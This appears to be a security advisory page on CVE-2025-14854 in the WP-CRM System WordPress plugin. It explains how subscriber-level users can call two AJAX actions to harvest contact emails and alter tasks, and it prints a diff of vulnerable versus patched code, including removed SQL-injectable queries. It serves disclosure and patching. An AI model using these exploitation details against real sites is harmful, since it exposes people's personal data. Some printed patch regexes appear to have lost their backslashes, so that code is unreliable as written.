Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14854: WP-CRM System – Manage Clients and Projects <= 3.4.5 – Missing Authorization to Authenticated (Subscriber+) CRM Data Exposure and Task Modification (wp-crm-system)

Plugin wp-crm-system
Severity Medium (CVSS 5.4)
CWE 862
Vulnerable Version 3.4.5
Patched Version 3.4.6
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14854:
This vulnerability in the WP-CRM System plugin (versions <= 3.4.5) is a Missing Authorization flaw affecting two AJAX handlers. It allows authenticated attackers with subscriber-level permissions or higher to enumerate CRM contact email addresses and modify CRM task statuses, leading to PII disclosure and unauthorized data manipulation.

Atomic Edge research identifies the root cause as missing capability checks in the `wpcrm_get_email_recipients` and `wpcrm_system_ajax_task_change_status` AJAX functions. The vulnerable code resides in `/wp-crm-system/includes/wcs-functions.php` (lines 940-960) and `/wp-crm-system/includes/wcs-dashboard-task-list.php` (lines 169-215). These functions lacked proper user permission validation before processing sensitive operations. The `wpcrm_get_email_recipients` function accepted any `recipient` parameter without verifying the user's right to access contact data. The `wpcrm_system_ajax_task_change_status` function processed `post_id` and `task_status` parameters without checking if the user could modify the specified task.

Exploitation requires an authenticated WordPress user account with at least subscriber privileges. Attackers send POST requests to `/wp-admin/admin-ajax.php` with specific action parameters. For email enumeration, the request uses `action=wpcrm_get_email_recipients` with a `recipient` parameter containing search terms. For task modification, the request uses `action=task_change_status` with `post_id` (task ID) and `task_status` parameters. No special nonce or capability validation was required in vulnerable versions, allowing low-privileged users to access these functions.

The patch implements multiple security layers. In `wcs-functions.php`, the `wpcrm_get_email_recipients` function now includes `check_ajax_referer()` for CSRF protection and `current_user_can(wpcrm_system_get_required_user_role())` for capability checking. In `wcs-dashboard-task-list.php`, the `wpcrm_system_ajax_task_change_status` function adds nonce verification (`task_change_status_nonce`), multiple capability checks (`current_user_can('edit_posts')` and `current_user_can('edit_post', $post_id)`), input validation using `absint()`, post type verification, and allowed status enumeration. The patch also standardizes JSON response handling with `wp_send_json_success()` and `wp_send_json_error()`.

Successful exploitation leads to unauthorized disclosure of personally identifiable information (PII) through contact email enumeration. Attackers can harvest email addresses from the CRM database. The vulnerability also enables unauthorized modification of CRM task statuses, potentially disrupting business workflows, marking incomplete tasks as complete, or altering task priorities. While the CVSS score of 5.4 reflects medium severity, the combination of PII exposure and data integrity violations represents significant risk for organizations using this CRM system.

Differential between vulnerable and patched code

Code Diff
--- a/wp-crm-system/includes/gdpr-export-contact.php
+++ b/wp-crm-system/includes/gdpr-export-contact.php
@@ -26,7 +26,32 @@
 	}

 	public function get_cpt_post_ids(){
-		$ids = array( $_GET['contact_id'] );
+		// Security: Validate and sanitize contact_id
+		if ( ! isset( $_GET['contact_id'] ) || empty( $_GET['contact_id'] ) ) {
+			wp_die( esc_html__( 'Invalid request. Contact ID is required.', 'wp-crm-system' ) );
+		}
+
+		$contact_id = absint( $_GET['contact_id'] );
+
+		// Security: Verify contact exists and is correct post type
+		if ( 0 === $contact_id || 'wpcrm-contact' !== get_post_type( $contact_id ) ) {
+			wp_die( esc_html__( 'Invalid contact ID.', 'wp-crm-system' ) );
+		}
+
+		// Security: Validate GDPR secret token to prevent unauthorized access
+		if ( ! isset( $_GET['secret'] ) || empty( $_GET['secret'] ) ) {
+			wp_die( esc_html__( 'Invalid request. Secret token is required.', 'wp-crm-system' ) );
+		}
+
+		$secret = sanitize_text_field( $_GET['secret'] );
+		$contact_secret = get_post_meta( $contact_id, '_wpcrm_system_gdpr_secret', true );
+
+		// Security: Verify secret token matches the contact's stored secret
+		if ( empty( $contact_secret ) || $secret !== $contact_secret ) {
+			wp_die( esc_html__( 'Invalid request. Secret token does not match.', 'wp-crm-system' ) );
+		}
+
+		$ids = array( $contact_id );

 		return $ids;
 	}
--- a/wp-crm-system/includes/gdpr-shortcode.php
+++ b/wp-crm-system/includes/gdpr-shortcode.php
@@ -382,6 +382,31 @@
 function wp_crm_system_gdpr_export_contacts(){
 	if ( isset( $_POST[ 'wpcrm_system_gdpr_export_contact_nonce' ] ) ) {
 		if( wp_verify_nonce( $_POST[ 'wpcrm_system_gdpr_export_contact_nonce' ], 'wpcrm-system-gdpr-export-contact-nonce' ) ) {
+			// Security: Validate contact_id and secret token
+			if ( ! isset( $_GET['contact_id'] ) || empty( $_GET['contact_id'] ) ) {
+				wp_die( esc_html__( 'Invalid request. Contact ID is required.', 'wp-crm-system' ) );
+			}
+
+			$contact_id = absint( $_GET['contact_id'] );
+
+			// Security: Verify contact exists and is correct post type
+			if ( 0 === $contact_id || 'wpcrm-contact' !== get_post_type( $contact_id ) ) {
+				wp_die( esc_html__( 'Invalid contact ID.', 'wp-crm-system' ) );
+			}
+
+			// Security: Validate GDPR secret token to prevent unauthorized access
+			if ( ! isset( $_GET['secret'] ) || empty( $_GET['secret'] ) ) {
+				wp_die( esc_html__( 'Invalid request. Secret token is required.', 'wp-crm-system' ) );
+			}
+
+			$secret = sanitize_text_field( $_GET['secret'] );
+			$contact_secret = get_post_meta( $contact_id, '_wpcrm_system_gdpr_secret', true );
+
+			// Security: Verify secret token matches the contact's stored secret
+			if ( empty( $contact_secret ) || $secret !== $contact_secret ) {
+				wp_die( esc_html__( 'Invalid request. Secret token does not match.', 'wp-crm-system' ) );
+			}
+
 			require_once WP_CRM_SYSTEM_PLUGIN_DIR_PATH . '/includes/class-export.php';
 			require_once WP_CRM_SYSTEM_PLUGIN_DIR_PATH . '/includes/gdpr-export-contact.php';

@@ -397,49 +422,77 @@
 	$message = '';
 	if ( isset( $_POST[ 'wpcrm_system_gdpr_delete_contact_nonce' ] ) ) {
 		if( wp_verify_nonce( $_POST[ 'wpcrm_system_gdpr_delete_contact_nonce' ], 'wpcrm-system-gdpr-delete-contact-nonce' ) ) {
-			if ( $_GET['contact_id'] != $_POST['wpcrm_system_gdpr_contact_id'] || 0 == intval( $_POST['wpcrm_system_gdpr_contact_id'] ) ){
-				$message = __( 'Invalid request. Please try again.', 'wp-crm-system' );
-			} else {
-				$contact_delete = array(
-					'ID'			=> sanitize_text_field( trim( $_POST['wpcrm_system_gdpr_contact_id'] ) ),
-					'post_status'	=> 'gdpr_deletion'
-				);
-
-				$post_id = wp_update_post( $contact_delete );
-
-				if ( is_wp_error( $post_id ) ){
-					$errors = $post_id->get_error_messages();
-					foreach ( $errors as $error ){
-						$message .= $error . '<br />';
-					}
-				} else {
-					$message = __( 'Your data was successfully marked for deletion.', 'wp-crm-system' );
+			// Security: Validate contact_id from GET and POST
+			if ( ! isset( $_GET['contact_id'] ) || ! isset( $_POST['wpcrm_system_gdpr_contact_id'] ) ) {
+				wp_die( esc_html__( 'Invalid request. Contact ID is required.', 'wp-crm-system' ) );
+			}
+
+			$get_contact_id = absint( $_GET['contact_id'] );
+			$post_contact_id = absint( $_POST['wpcrm_system_gdpr_contact_id'] );
+
+			// Security: Verify contact IDs match and are valid
+			if ( $get_contact_id !== $post_contact_id || 0 === $post_contact_id ) {
+				wp_die( esc_html__( 'Invalid request. Contact IDs do not match.', 'wp-crm-system' ) );
+			}
+
+			// Security: Verify contact exists and is correct post type
+			if ( 'wpcrm-contact' !== get_post_type( $post_contact_id ) ) {
+				wp_die( esc_html__( 'Invalid contact ID.', 'wp-crm-system' ) );
+			}
+
+			// Security: Validate GDPR secret token to prevent unauthorized access
+			if ( ! isset( $_GET['secret'] ) || empty( $_GET['secret'] ) ) {
+				wp_die( esc_html__( 'Invalid request. Secret token is required.', 'wp-crm-system' ) );
+			}
+
+			$secret = sanitize_text_field( $_GET['secret'] );
+			$contact_secret = get_post_meta( $post_contact_id, '_wpcrm_system_gdpr_secret', true );
+
+			// Security: Verify secret token matches the contact's stored secret
+			if ( empty( $contact_secret ) || $secret !== $contact_secret ) {
+				wp_die( esc_html__( 'Invalid request. Secret token does not match.', 'wp-crm-system' ) );
+			}
+
+			// All security checks passed, proceed with deletion
+			$contact_delete = array(
+				'ID'			=> $post_contact_id,
+				'post_status'	=> 'gdpr_deletion'
+			);
+
+			$post_id = wp_update_post( $contact_delete );
+
+			if ( is_wp_error( $post_id ) ){
+				$errors = $post_id->get_error_messages();
+				foreach ( $errors as $error ){
+					$message .= $error . '<br />';
 				}
-				/* Send email to site admin notifying of delete request */
-				$to				= apply_filters( 'wpcrm_system_gdpr_delete_request_email', get_option( 'admin_email' ) );
-				$subject		= apply_filters( 'wpcrm_system_gdpr_delete_request_subject', __( 'GDPR Delete Request', 'wp-crm-system' ) );
+			} else {
+				$message = __( 'Your data was successfully marked for deletion.', 'wp-crm-system' );
+			}
+			/* Send email to site admin notifying of delete request */
+			$to				= apply_filters( 'wpcrm_system_gdpr_delete_request_email', get_option( 'admin_email' ) );
+			$subject		= apply_filters( 'wpcrm_system_gdpr_delete_request_subject', __( 'GDPR Delete Request', 'wp-crm-system' ) );

-				$contact_name	= get_the_title( $contact_delete['ID'] );
-				$edit_link		= admin_url( 'post.php?post=' . $contact_delete['ID'] . '&action=edit' );
+			$contact_name	= get_the_title( $contact_delete['ID'] );
+			$edit_link		= admin_url( 'post.php?post=' . $contact_delete['ID'] . '&action=edit' );


-				$message		= sprintf(
-					wp_kses(
-						__( 'A contact, %s, has requested that their information be deleted from WP-CRM System. Their record has been marked for deletion, but will not be deleted automatically. This enables you to determine whether or not you are required to retain their data, or delete it from any other system your company uses, such as a mailing list. You can review their record in WP-CRM System by copying and pasting the following link into your browser: %s', 'wp-crm-system' ),
-						array(  'a' => array( 'href' => array() ) )
-					),
-					$contact_name, esc_url( $edit_link )
-				);
+			$message		= sprintf(
+				wp_kses(
+					__( 'A contact, %s, has requested that their information be deleted from WP-CRM System. Their record has been marked for deletion, but will not be deleted automatically. This enables you to determine whether or not you are required to retain their data, or delete it from any other system your company uses, such as a mailing list. You can review their record in WP-CRM System by copying and pasting the following link into your browser: %s', 'wp-crm-system' ),
+					array(  'a' => array( 'href' => array() ) )
+				),
+				$contact_name, esc_url( $edit_link )
+			);

-				$message		= apply_filters( 'wpcrm_system_gdpr_delete_request_message', $message, $contact_name, $edit_link );
+			$message		= apply_filters( 'wpcrm_system_gdpr_delete_request_message', $message, $contact_name, $edit_link );

-				$headers		= apply_filters( 'wpcrm_system_gdpr_delete_request_headers', '' );
+			$headers		= apply_filters( 'wpcrm_system_gdpr_delete_request_headers', '' );

-				$attachments	= apply_filters( 'wpcrm_system_gdpr_delete_request_attachments', '' );
+			$attachments	= apply_filters( 'wpcrm_system_gdpr_delete_request_attachments', '' );

-				wp_mail( $to, $subject, $message, $headers, $attachments );
-				/* possibly add support for Slack/Zapier add-on to send notification elsewhere */
-			}
+			wp_mail( $to, $subject, $message, $headers, $attachments );
+			/* possibly add support for Slack/Zapier add-on to send notification elsewhere */
 		}
 	}
 	return $message;
--- a/wp-crm-system/includes/import-export/import-contacts.php
+++ b/wp-crm-system/includes/import-export/import-contacts.php
@@ -24,6 +24,15 @@
 			$count_skipped	= 0;
 			$count_added	= 0;
 			$count_updated	= 0;
+			// Security: Validate file extension first (cannot be easily spoofed)
+			$allowed_extensions = array( 'csv' );
+			$file_extension = strtolower( pathinfo( $file_name, PATHINFO_EXTENSION ) );
+
+			if ( ! in_array( $file_extension, $allowed_extensions, true ) ) {
+				$errors[] = __( 'File not allowed, please use a CSV file.', 'wp-crm-system' );
+			}
+
+			// Security: Also verify MIME type (defense in depth)
 			$csv_types 		= array(
 				'text/csv',
 				'text/plain',
@@ -37,8 +46,8 @@
 				'application/txt',
 			);

-			if( !in_array( $file_type, $csv_types ) ){
-				$errors[] = __( 'File not allowed, please use a CSV file.', 'wp-crm-system' );
+			if ( ! in_array( $file_type, $csv_types, true ) ) {
+				$errors[] = __( 'File type not allowed.', 'wp-crm-system' );
 			}
 			if( $file_size > wp_crm_system_return_bytes( ini_get( 'upload_max_filesize' ) ) ){
 				$errors[] = __( 'File size must be less than', 'wp-crm-system' ) . ini_get( 'upload_max_filesize' ) . ' current file size is ' . $file_size;
@@ -209,7 +218,12 @@
 							 */
 							global $wpdb;
 							$prefix_tbl = $wpdb->prefix . 'postmeta';
-							$results    = $wpdb->get_row( "SELECT * FROM {$prefix_tbl} WHERE `meta_key` = '_wpcrm_contact-email' AND `meta_value`='$email'", OBJECT );
+							// Security: Use prepared statement to prevent SQL injection
+							$results = $wpdb->get_row( $wpdb->prepare(
+								"SELECT * FROM {$prefix_tbl} WHERE `meta_key` = %s AND `meta_value` = %s",
+								'_wpcrm_contact-email',
+								$email
+							), OBJECT );

 							/**
 							 * If and only if we have result
@@ -352,7 +366,11 @@

 	global $wpdb;
 	$prefix_tbl = $wpdb->prefix . 'postmeta';
-	$results    = $wpdb->get_results( "SELECT * FROM {$prefix_tbl} WHERE `meta_value`='$email'", OBJECT );
+	// Security: Use prepared statement to prevent SQL injection
+	$results = $wpdb->get_results( $wpdb->prepare(
+		"SELECT * FROM {$prefix_tbl} WHERE `meta_value` = %s",
+		$email
+	), OBJECT );
 	if ( ! $results ) {

 		$create_contact = true;
--- a/wp-crm-system/includes/import-export/import-plugin-settings.php
+++ b/wp-crm-system/includes/import-export/import-plugin-settings.php
@@ -19,10 +19,29 @@
 	}
 	$import_file = $_FILES['import_file']['tmp_name'];
 	if( empty( $import_file ) ) {
-		wp_die( esc_html__( 'Please upload a file to import' ) );
+		wp_die( esc_html__( 'Please upload a file to import', 'wp-crm-system' ) );
 	}
+
+	// Security: Validate file size before processing (3MB limit)
+	$file_size = filesize( $import_file );
+	$max_file_size = 3145728; // 3MB in bytes
+	if ( $file_size > $max_file_size ) {
+		wp_die( esc_html__( 'File size exceeds maximum allowed size of 3MB.', 'wp-crm-system' ) );
+	}
+
+	// Security: Validate JSON before decoding
+	$json_content = file_get_contents( $import_file );
+	if ( false === $json_content ) {
+		wp_die( esc_html__( 'Error reading import file.', 'wp-crm-system' ) );
+	}
+
+	$json_data = json_decode( $json_content, true );
+	if ( json_last_error() !== JSON_ERROR_NONE ) {
+		wp_die( esc_html__( 'Invalid JSON file. Please check the file format.', 'wp-crm-system' ) );
+	}
+
 	// Retrieve the settings from the file and convert the json object to an array.
-	$settings = (array) json_decode( file_get_contents( $import_file ) );
+	$settings = (array) $json_data;
 	foreach( $settings as $option_name => $option_value ){
 		update_option( $option_name, wpcrm_safe_unserialize( $option_value ) );
 	}
--- a/wp-crm-system/includes/legacy/gdpr-shortcode.php
+++ b/wp-crm-system/includes/legacy/gdpr-shortcode.php
@@ -6,17 +6,21 @@

 add_shortcode( 'wpcrm_system_gdpr', 'wpcrm_system_gdpr_check' );
 function wpcrm_system_gdpr_check( $atts ){
-	if( !$_GET || !$_GET['contact_id'] || !$_GET['secret'] )
+	// Security: Validate and sanitize inputs
+	if( ! isset( $_GET['contact_id'] ) || ! isset( $_GET['secret'] ) || empty( $_GET['contact_id'] ) || empty( $_GET['secret'] ) )
 		return __( 'Error: Incorrect URL given. Please request a valid URL.', 'wp-crm-system' ); // Possibly add an error message of some sort here.

-	$id	= $_GET['contact_id'];
-	if ( 'wpcrm-contact' != get_post_type( $id ) )
+	$id = absint( $_GET['contact_id'] );
+
+	// Security: Verify contact ID is valid and is correct post type
+	if ( 0 === $id || 'wpcrm-contact' != get_post_type( $id ) )
 		return __( 'Error: Incorrect contact URL given. Please request a valid contact URL.'); // Possibly add an error message indicating that the contact ID is not a valid WP-CRM System contact ID.

-	$secret			= $_GET['secret'];
-	$contact_secret	= get_post_meta( $id, '_wpcrm_system_gdpr_secret', true );
+	$secret = sanitize_text_field( $_GET['secret'] );
+	$contact_secret = get_post_meta( $id, '_wpcrm_system_gdpr_secret', true );

-	if( $secret != $contact_secret )
+	// Security: Verify secret token matches using strict comparison
+	if( empty( $contact_secret ) || $secret !== $contact_secret )
 		return __( 'Error: URL is incorrect. Please request a valid URL.'); // Possibly add an error message indicating that the secret is incorrect. Might not be a good idea as it leaves open the opportunity to guess the secret.

 	/*
@@ -390,49 +394,77 @@
 	$message = '';
 	if ( isset( $_POST[ 'wpcrm_system_gdpr_delete_contact_nonce' ] ) ) {
 		if( wp_verify_nonce( $_POST[ 'wpcrm_system_gdpr_delete_contact_nonce' ], 'wpcrm-system-gdpr-delete-contact-nonce' ) ) {
-			if ( $_GET['contact_id'] != $_POST['wpcrm_system_gdpr_contact_id'] || 0 == intval( $_POST['wpcrm_system_gdpr_contact_id'] ) ){
-				$message = __( 'Invalid request. Please try again.', 'wp-crm-system' );
-			} else {
-				$contact_delete = array(
-					'ID'			=> sanitize_text_field( trim( $_POST['wpcrm_system_gdpr_contact_id'] ) ),
-					'post_status'	=> 'gdpr_deletion'
-				);
-
-				$post_id = wp_update_post( $contact_delete );
-
-				if ( is_wp_error( $post_id ) ){
-					$errors = $post_id->get_error_messages();
-					foreach ( $errors as $error ){
-						$message .= $error . '<br />';
-					}
-				} else {
-					$message = __( 'Your data was successfully marked for deletion.', 'wp-crm-system' );
+			// Security: Validate contact_id from GET and POST
+			if ( ! isset( $_GET['contact_id'] ) || ! isset( $_POST['wpcrm_system_gdpr_contact_id'] ) ) {
+				wp_die( esc_html__( 'Invalid request. Contact ID is required.', 'wp-crm-system' ) );
+			}
+
+			$get_contact_id = absint( $_GET['contact_id'] );
+			$post_contact_id = absint( $_POST['wpcrm_system_gdpr_contact_id'] );
+
+			// Security: Verify contact IDs match and are valid
+			if ( $get_contact_id !== $post_contact_id || 0 === $post_contact_id ) {
+				wp_die( esc_html__( 'Invalid request. Contact IDs do not match.', 'wp-crm-system' ) );
+			}
+
+			// Security: Verify contact exists and is correct post type
+			if ( 'wpcrm-contact' !== get_post_type( $post_contact_id ) ) {
+				wp_die( esc_html__( 'Invalid contact ID.', 'wp-crm-system' ) );
+			}
+
+			// Security: Validate GDPR secret token to prevent unauthorized access
+			if ( ! isset( $_GET['secret'] ) || empty( $_GET['secret'] ) ) {
+				wp_die( esc_html__( 'Invalid request. Secret token is required.', 'wp-crm-system' ) );
+			}
+
+			$secret = sanitize_text_field( $_GET['secret'] );
+			$contact_secret = get_post_meta( $post_contact_id, '_wpcrm_system_gdpr_secret', true );
+
+			// Security: Verify secret token matches the contact's stored secret
+			if ( empty( $contact_secret ) || $secret !== $contact_secret ) {
+				wp_die( esc_html__( 'Invalid request. Secret token does not match.', 'wp-crm-system' ) );
+			}
+
+			// All security checks passed, proceed with deletion
+			$contact_delete = array(
+				'ID'			=> $post_contact_id,
+				'post_status'	=> 'gdpr_deletion'
+			);
+
+			$post_id = wp_update_post( $contact_delete );
+
+			if ( is_wp_error( $post_id ) ){
+				$errors = $post_id->get_error_messages();
+				foreach ( $errors as $error ){
+					$message .= $error . '<br />';
 				}
-				/* Send email to site admin notifying of delete request */
-				$to				= apply_filters( 'wpcrm_system_gdpr_delete_request_email', get_option( 'admin_email' ) );
-				$subject		= apply_filters( 'wpcrm_system_gdpr_delete_request_subject', __( 'GDPR Delete Request', 'wp-crm-system' ) );
+			} else {
+				$message = __( 'Your data was successfully marked for deletion.', 'wp-crm-system' );
+			}
+			/* Send email to site admin notifying of delete request */
+			$to				= apply_filters( 'wpcrm_system_gdpr_delete_request_email', get_option( 'admin_email' ) );
+			$subject		= apply_filters( 'wpcrm_system_gdpr_delete_request_subject', __( 'GDPR Delete Request', 'wp-crm-system' ) );

-				$contact_name	= get_the_title( $contact_delete['ID'] );
-				$edit_link		= admin_url( 'post.php?post=' . $contact_delete['ID'] . '&action=edit' );
+			$contact_name	= get_the_title( $contact_delete['ID'] );
+			$edit_link		= admin_url( 'post.php?post=' . $contact_delete['ID'] . '&action=edit' );


-				$message		= sprintf(
-					wp_kses(
-						__( 'A contact, %s, has requested that their information be deleted from WP-CRM System. Their record has been marked for deletion, but will not be deleted automatically. This enables you to determine whether or not you are required to retain their data, or delete it from any other system your company uses, such as a mailing list. You can review their record in WP-CRM System by copying and pasting the following link into your browser: %s', 'wp-crm-system' ),
-						array(  'a' => array( 'href' => array() ) )
-					),
-					$contact_name, esc_url( $edit_link )
-				);
+			$message		= sprintf(
+				wp_kses(
+					__( 'A contact, %s, has requested that their information be deleted from WP-CRM System. Their record has been marked for deletion, but will not be deleted automatically. This enables you to determine whether or not you are required to retain their data, or delete it from any other system your company uses, such as a mailing list. You can review their record in WP-CRM System by copying and pasting the following link into your browser: %s', 'wp-crm-system' ),
+					array(  'a' => array( 'href' => array() ) )
+				),
+				$contact_name, esc_url( $edit_link )
+			);

-				$message		= apply_filters( 'wpcrm_system_gdpr_delete_request_message', $message, $contact_name, $edit_link );
+			$message		= apply_filters( 'wpcrm_system_gdpr_delete_request_message', $message, $contact_name, $edit_link );

-				$headers		= apply_filters( 'wpcrm_system_gdpr_delete_request_headers', '' );
+			$headers		= apply_filters( 'wpcrm_system_gdpr_delete_request_headers', '' );

-				$attachments	= apply_filters( 'wpcrm_system_gdpr_delete_request_attachments', '' );
+			$attachments	= apply_filters( 'wpcrm_system_gdpr_delete_request_attachments', '' );

-				wp_mail( $to, $subject, $message, $headers, $attachments );
-				/* possibly add support for Slack/Zapier add-on to send notification elsewhere */
-			}
+			wp_mail( $to, $subject, $message, $headers, $attachments );
+			/* possibly add support for Slack/Zapier add-on to send notification elsewhere */
 		}
 	}
 	return $message;
--- a/wp-crm-system/includes/wcs-dashboard-task-list.php
+++ b/wp-crm-system/includes/wcs-dashboard-task-list.php
@@ -169,23 +169,62 @@
 		'task_list_vars',
 		array(
 			'task_list_nonce' => wp_create_nonce( 'task-list-nonce' ),
+			'task_change_status_nonce' => wp_create_nonce( 'task-change-status-nonce' ),
 		)
 	);
 }
 add_action( 'admin_enqueue_scripts', 'wpcrm_system_dashboard_task_js' );

 function wpcrm_system_ajax_task_change_status() {
-	$post_id     = isset( $_POST['post_id'] ) ? sanitize_text_field( $_POST['post_id'] ) : '';
+	// Verify nonce for security
+	if ( ! isset( $_POST['task_change_status_nonce'] ) ) {
+		wp_send_json_error( array( 'message' => __( 'Security check failed: Nonce not provided', 'wp-crm-system' ) ) );
+	}
+
+	if ( ! wp_verify_nonce( $_POST['task_change_status_nonce'], 'task-change-status-nonce' ) ) {
+		wp_send_json_error( array( 'message' => __( 'Security check failed: Invalid nonce', 'wp-crm-system' ) ) );
+	}
+
+	// Check user capabilities
+	if ( ! current_user_can( 'edit_posts' ) ) {
+		wp_send_json_error( array( 'message' => __( 'Insufficient permissions', 'wp-crm-system' ) ) );
+	}
+
+	// Validate and sanitize post_id
+	$post_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0;
+	if ( empty( $post_id ) ) {
+		wp_send_json_error( array( 'message' => __( 'Invalid post ID', 'wp-crm-system' ) ) );
+	}
+
+	// Verify the post exists and is a task
+	$post = get_post( $post_id );
+	if ( ! $post || 'wpcrm-task' !== $post->post_type ) {
+		wp_send_json_error( array( 'message' => __( 'Invalid task post', 'wp-crm-system' ) ) );
+	}
+
+	// Check if user can edit this specific post
+	if ( ! current_user_can( 'edit_post', $post_id ) ) {
+		wp_send_json_error( array( 'message' => __( 'You do not have permission to edit this task', 'wp-crm-system' ) ) );
+	}
+
+	// Validate and sanitize task status
 	$task_status = isset( $_POST['task_status'] ) ? sanitize_text_field( $_POST['task_status'] ) : '';
-	$meta        = 'status';
+
+	// Define allowed status values
+	$allowed_statuses = array( 'not-started', 'in-progress', 'complete', 'on-hold' );
+	if ( ! in_array( $task_status, $allowed_statuses, true ) ) {
+		wp_send_json_error( array( 'message' => __( 'Invalid task status', 'wp-crm-system' ) ) );
+	}
+
+	$meta = 'status';

+	// Update the post meta
 	$update_status = update_post_meta( $post_id, '_wpcrm_task-' . $meta, $task_status );

 	if ( $update_status ) {
-		echo 'success';
+		wp_send_json_success( array( 'message' => __( 'Task status updated successfully', 'wp-crm-system' ) ) );
 	} else {
-		echo 'fail';
+		wp_send_json_error( array( 'message' => __( 'Failed to update task status', 'wp-crm-system' ) ) );
 	}
-	exit;
 }
 add_action( 'wp_ajax_task_change_status', 'wpcrm_system_ajax_task_change_status' );
--- a/wp-crm-system/includes/wcs-functions.php
+++ b/wp-crm-system/includes/wcs-functions.php
@@ -339,7 +339,7 @@
 			$next_month = $month + 1;
 			$next_year  = $year;
 		}
-		$view_as_param = isset( $_GET['view-as-id'] ) ? '&view-as-id=' . sanitize_text_field( $_GET['view-as-id'] ) : '';
+		$view_as_param = isset( $_GET['view-as-id'] ) ? '&view-as-id=' . urlencode( sanitize_text_field( $_GET['view-as-id'] ) ) : '';

 		/* draw table */
 		$calendar = '<table cellpadding="0" cellspacing="0" class="calendar">';
@@ -940,8 +940,15 @@
  */
 add_action( 'wp_ajax_wpcrm_get_email_recipients', 'wpcrm_get_email_recipients' );
 function wpcrm_get_email_recipients() {
-
-	$recipient = sanitize_text_field( $_REQUEST['recipient'] );
+	// Security: Verify nonce to prevent CSRF attacks
+	check_ajax_referer( 'wpcrm-nonce', 'nonce' );
+
+	// Security: Check user capabilities
+	if ( ! current_user_can( wpcrm_system_get_required_user_role() ) ) {
+		wp_die();
+	}
+
+	$recipient = isset( $_REQUEST['recipient'] ) ? sanitize_text_field( $_REQUEST['recipient'] ) : '';

 	$contacts = new WP_Query(
 		array(
@@ -1959,7 +1966,8 @@
 add_action( 'admin_init', 'wpcrm_save_duplicate_contact_option' );
 function wpcrm_save_duplicate_contact_option() {
 	if ( isset( $_REQUEST['wpcrm_system_duplicate_contact'] ) ) {
-		if ( ! current_user_can( 'manage_options' ) && ! wp_verify_nonce( $_REQUEST['wpcrm-options'], 'update-options' ) ) {
+		// Security: Exit if user lacks permissions OR nonce is invalid (use OR, not AND)
+		if ( ! current_user_can( 'manage_options' ) || ! wp_verify_nonce( $_REQUEST['wpcrm-options'], 'update-options' ) ) {
 			exit;
 		}

@@ -1982,7 +1990,8 @@
 add_action( 'admin_init', 'wpcrm_save_contact_display_duplicates_option' );
 function wpcrm_save_contact_display_duplicates_option() {
 	if ( isset( $_REQUEST['wpcrm_system_contact_display_duplicates'] ) ) {
-		if ( ! current_user_can( 'manage_options' ) && ! wp_verify_nonce( $_REQUEST['wpcrm-options'], 'update-options' ) ) {
+		// Security: Exit if user lacks permissions OR nonce is invalid (use OR, not AND)
+		if ( ! current_user_can( 'manage_options' ) || ! wp_verify_nonce( $_REQUEST['wpcrm-options'], 'update-options' ) ) {
 			exit;
 		}

@@ -2106,7 +2115,7 @@
 	if ( ! empty( $type ) ) {
 		$query = new WP_Query(
 			array(
-				's'              => sanitize_text_field( $_GET['q'] ),
+				's'              => isset( $_GET['q'] ) ? sanitize_text_field( $_GET['q'] ) : '',
 				'post_status'    => 'publish',
 				'posts_per_page' => 10,
 				'post_type'      => $type,
@@ -2184,26 +2193,92 @@
 add_filter( 'wp_kses_allowed_html', 'wpcrm_sanitize_svg_icon' );

 /**
- * Safe unserialize
+ * Safe unserialize - Prevents PHP Object Injection
  *
  * @since 3.2.9
+ * @param mixed $data Data to unserialize
+ * @return mixed Unserialized data, or original data if unsafe
  */
 function wpcrm_safe_unserialize( $data ) {
+    // If not serialized, return as-is
     if ( ! is_serialized( $data ) ) {
         return $data;
     }

+    // Security: Check for object signatures in serialized string before unserializing
+    // This prevents object instantiation during unserialization
+    if ( preg_match( '/[oO]:s*d+:/', $data ) ) {
+        // Contains object serialization, reject it
+        return $data; // Return original data
+    }
+
+    // Security: Check for resource serialization
+    if ( preg_match( '/[rR]:s*d+:/', $data ) ) {
+        // Contains resource serialization, reject it
+        return $data;
+    }
+
+    // Security: Check for nested serialized data that might contain objects
+    // This regex looks for serialized arrays/strings that might contain objects
+    $nested_serialized = preg_match_all( '/s:d+:"[^"]*";/', $data, $matches );
+    if ( $nested_serialized ) {
+        foreach ( $matches[0] as $match ) {
+            // Check if nested serialized data contains objects
+            if ( preg_match( '/[oO]:s*d+:/', $match ) ) {
+                return $data;
+            }
+        }
+    }
+
+    // Now safe to unserialize
     $unserialized = maybe_unserialize( $data );

-    // Reject objects (potential PHP Object Injection)
+    // Additional security: Double-check for objects after unserialization
+    // This catches any edge cases where objects might have been created
     if ( is_object( $unserialized ) ) {
         return $data; // Return original data
     }

-    // Reject resources
+    // Additional security: Reject resources
     if ( is_resource( $unserialized ) ) {
         return $data;
     }

+    // Security: Recursively check arrays for objects
+    if ( is_array( $unserialized ) ) {
+        $checked = wpcrm_safe_unserialize_recursive( $unserialized );
+        if ( false === $checked ) {
+            // Array contains objects, reject it
+            return $data;
+        }
+        return $checked;
+    }
+
     return $unserialized;
+}
+
+/**
+ * Recursively check array for objects (helper function for wpcrm_safe_unserialize)
+ *
+ * @since 3.2.9
+ * @param array $array Array to check
+ * @return array|false Cleaned array or false if objects found
+ */
+function wpcrm_safe_unserialize_recursive( $array ) {
+    foreach ( $array as $key => $value ) {
+        if ( is_object( $value ) ) {
+            return false; // Found an object, reject
+        }
+        if ( is_resource( $value ) ) {
+            return false; // Found a resource, reject
+        }
+        if ( is_array( $value ) ) {
+            $result = wpcrm_safe_unserialize_recursive( $value );
+            if ( false === $result ) {
+                return false; // Nested array contains objects
+            }
+            $array[ $key ] = $result;
+        }
+    }
+    return $array;
 }
 No newline at end of file
--- a/wp-crm-system/includes/wcs-recurring-entries-delete.php
+++ b/wp-crm-system/includes/wcs-recurring-entries-delete.php
@@ -3,11 +3,33 @@
 if ( !defined( 'ABSPATH' ) ) {
 	die( "Sorry, you are not allowed to access this page directly." );
 }
+
+// Security: Check user permissions before allowing access to delete page
+if ( ! current_user_can( wpcrm_system_get_required_user_role() ) ) {
+	wp_die( esc_html__( 'You do not have permission to access this page.', 'wp-crm-system' ) );
+}
 ?>
 <div class="wrap">
